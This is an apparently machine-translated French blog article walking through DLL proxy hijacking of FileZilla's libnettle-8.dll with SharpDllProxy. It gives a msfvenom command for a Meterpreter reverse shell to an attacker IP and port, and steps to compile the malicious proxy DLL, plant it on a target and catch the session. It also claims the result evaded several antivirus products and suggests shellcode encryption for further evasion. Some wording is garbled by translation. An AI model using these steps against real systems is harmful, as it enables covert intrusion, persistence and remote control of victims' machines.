Maison  >  Article  >  Opération et maintenance  >  Comment effectuer le transfert de proxy DLL et l'analyse Weiquan

Comment effectuer le transfert de proxy DLL et l'analyse Weiquan

WBOY
WBOYavant
2023-05-26 18:10:331662parcourir

Détournement de DLL

Après la version Windows 7, le système utilise des KnowDLL pour gérer les DLL, qui se trouvent sous le registre HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs. Les fichiers DLL sous celui-ci ne pourront pas être appelés à partir du répertoire où se trouve l'exe lui-même, et. ne peut être appelé qu'à partir du répertoire Appelé depuis le répertoire système (System32). La raison du piratage de DLL est que toutes les DLL ne sont pas écrites dans le registre.

Utilisez la DLL générée par msfvenom pour tuer directement. Comment effectuer le transfert de proxy DLL et lanalyse Weiquan

SharpDllProxy

Le nom ressemble à un proxy chaussettes. Source de l'outil : https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/. Pour une implémentation spécifique, vous pouvez également vous référer au blog de ce patron

Avant-propos

Comprenez d'abord le principe de fonctionnement de la bibliothèque de liens dynamiques. Si l'application A souhaite utiliser la fonction GetFunkyData() dans la bibliothèque de liens dynamiques DataFunctions.dll, elle doit charger la bibliothèque de liens dynamiques DataFunctions.dll. Cet outil est basé sur cette considération. Il crée une bibliothèque de liens dynamiques du même nom que DataFunction.dll. Il a deux fonctions : ① Créer une touche de raccourci pour transférer toutes les fonctions vers la véritable bibliothèque de liens dynamiques DataFunctions.dll. l'origine du proxy dans le nom ; ② Écrivez le shellcode dans ce faux DataFunctions.dll. Ci-joint la photo originale de l'auteur : Comment effectuer le transfert de proxy DLL et lanalyse Weiquan

Processus expérimental

Programme cible

Il a fallu un certain temps pour faire cette expérience, comme le logiciel FileZilla, comment trouver la dll qui doit être chargée ? Comme l'a dit l'auteur, copiez le logiciel et vous saurez ce qui lui manque. Comme suit : Comment effectuer le transfert de proxy DLL et lanalyse Weiquan

Comment effectuer le transfert de proxy DLL et lanalyse Weiquan

Cela signifie que le fichier DLL doit être chargé pour exécuter l'application, alors créez un faux libnettle-8.dll pour cette DLL.

Générer le shellcode

<br>
<br>

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin

L'expérience commence

Premier téléchargement SharpDllProxy : https : / / github.com/Flangvik/SharpDllProxy, puis utilisez Visual Studio 2019 pour le compiler. Essayez de ne pas utiliser d'autres versions, car j'ai utilisé Visual Studio 2017 et j'ai signalé diverses erreurs pendant une longue période.

Utilisez directement SharpDllProxy sous vs pour ouvrir le fichier --> Générer une solutionComment effectuer le transfert de proxy DLL et lanalyse WeiquanComment effectuer le transfert de proxy DLL et lanalyse Weiquan

Utilisez SharpDllProxy.dll pour créer un faux fichier libnettle-8.dll. Placez shell.bin et la DLL qui doit être simulée dans le fichier de l'image ci-dessus. Exécutez la commande suivante : .SharpDllProxy.exe --dll libnettle-8.dll --payload shell.binComment effectuer le transfert de proxy DLL et lanalyse Weiquan

Le fichier généré contient un fichier C et une dll. Ce fichier dll est le fichier libnettle-8.dll d'origine. Comment effectuer le transfert de proxy DLL et lanalyse Weiquan

Analysons ce programme en langage C. De la ligne 9 à la ligne 494, ce sont toutes les fonctions qui transmettent la DLL. Toutes les fonctions qui doivent être exécutées sont transmises à la DLL d'origine pour traitement. Comment effectuer le transfert de proxy DLL et lanalyse Weiquan

La ligne 497 est l'endroit où nous avons inséré le shellcode. C'est le seul code clé. En fait, vous pouvez également écrire directement le shellcode shell.bin dans le fichier, ce qui réduit le nombre de fichiers suspects. Ici, nous lisons et exécutons le shellcode en mode binaire via l'opération de mémoire VirtualAlloc. À ce stade, vous pouvez opérer comme un tigre par vous-même et utiliser diverses postures anti-meurtre, telles que changer la méthode de chargement, comme chiffrer d'abord le shellcode, puis le déchiffrer pour l'exécuter. Comment effectuer le transfert de proxy DLL et lanalyse Weiquan

Utilisez VS pour compiler le fichier C ci-dessus. Sélectionnez Nouveau dans le menu Fichier, puis sélectionnez Dynamic Link Library Project et nommez le projet libnettle-8. Copiez le code du fichier C ci-dessus dans VS pour compilerComment effectuer le transfert de proxy DLL et lanalyse WeiquanComment effectuer le transfert de proxy DLL et lanalyse Weiquan

Envoyez les trois fichiers ci-dessus (tmpD475.dll, libnettle-8.dll, shell.bin) au système cible. Utilisez msf pour écouter, puis exécutez le programme et la session sera renvoyée. Comment effectuer le transfert de proxy DLL et lanalyse WeiquanComment effectuer le transfert de proxy DLL et lanalyse Weiquan

À l'aide du logiciel antivirus le plus couramment utilisé : 360, Tinder et Safe Manager n'ont pas été détectés. Comment effectuer le transfert de proxy DLL et lanalyse Weiquan

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer